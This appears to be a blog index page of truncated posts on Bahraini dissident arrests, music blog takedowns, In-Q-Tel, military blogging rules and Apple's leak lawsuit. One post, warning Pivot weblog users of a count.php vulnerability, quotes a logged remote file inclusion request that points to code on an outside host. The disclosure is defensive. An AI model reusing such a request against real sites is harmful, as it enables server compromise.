For any topic you can imagine, there is a healthy and active blog by and for people who are or who are strongly interested in that topic. They will also have a Cafepress store which is slightly surreal.

C.f., rule 34.

Earlier today, one of the leading voices of the pro-democratic movement in Bahrain, Ali Abdulemam, was arrested on charges of spreading false news reports on the web forum bahrainonline.org (note: all Arabic content). Apparently, the government of Bahrain is cracking down again on dissident voices but this time they're throwing everything they've got at the effort. He's been arrested before for speaking out, and in fact he was expecting to get nailed again for advocating for a democratic government. It's also alleged that he was caught trying to escape the country, but that doesn't jive with someone who knew …

It seems like everything is being steadily reduced to one of three categories these days: terrorism, child pornography, or piracy. Mention of any of them will stop intelligent discourse with the rapidity of a falling watermelon striking the ground, and within the halls of government will derail legislation as surely as 1+1=2. When the categories begin to blur, however, is when the trouble really starts. In the past week that I know of (and probably a bit before, because this sort of shitstorm takes a while to ramp up) blogger.com was forced to delete six music blogs …

An outfit called In-Q-Tel in Arlington, Virginia, founded in 1999, is known to be a semi-independent but private aspect of the US intelligence community which invests in tech companies that do things deemed strategically useful. Practically all of those things are on the cutting edge of commercial technology for the time. They say as much on their website, in case you're wondering if I've been listening to a little too much Coast to Coast AM lately. Their latest investment project is a most interesting one, a company called Visible Technologies which develop software to monitor social activities on the global …

Attention all users of the Pivot weblog package! A remotely exploitable vulnerability was discovered in the /web/content/extensions/bbclone_tools/count.php file. This vulnerability can be used by an attacker to delete files from your web content directory, and if the register_globals PHP variable is set, it can be used to stage a remote file inclusion attack. One person (I'll blank their IP address) has already tried it on my website:

a.b.c.d - - [19/Mar/2009:17:19:22 -0400] "GET //extensions/bbclone_tools/count.php?refkey=http://www.infernodancevault.com//modules/tinycontent/admin/chmod.txt?? HTTP/1 …

Since almost the beginning of Iraq II, the US military has been concerned about bloggers leaking information about upcoming operations and situations in the field that hadn't been cleaned up yet. Lately, they've been commanding troops to police their weblogs and clear all posts through a superior officer before actually posting in the hopes of minimizing the amount of sensitive information that gets out, which makes sense when you think about it. Remember what Geraldo Rivera did back in 2003? URLs and names of blogs have to be registered with the chain of command so that they can keep an …

A major precedent has been set in net.law following Apple losing its lawsuit against Apple Insider and O'grady's Power Page. In those lawsuits, Apple sued to uncover the identities of the people who leaked information about an audio playback device that Apple was going to release at some point (I think it was supposed to be the iPod Nano - I don't follow Apple news), and stated that amateur news sites and writers are not covered by the laws that protect professional journalists. The court, however, decided that there is no reliable test that can be used to distinguish legitimate …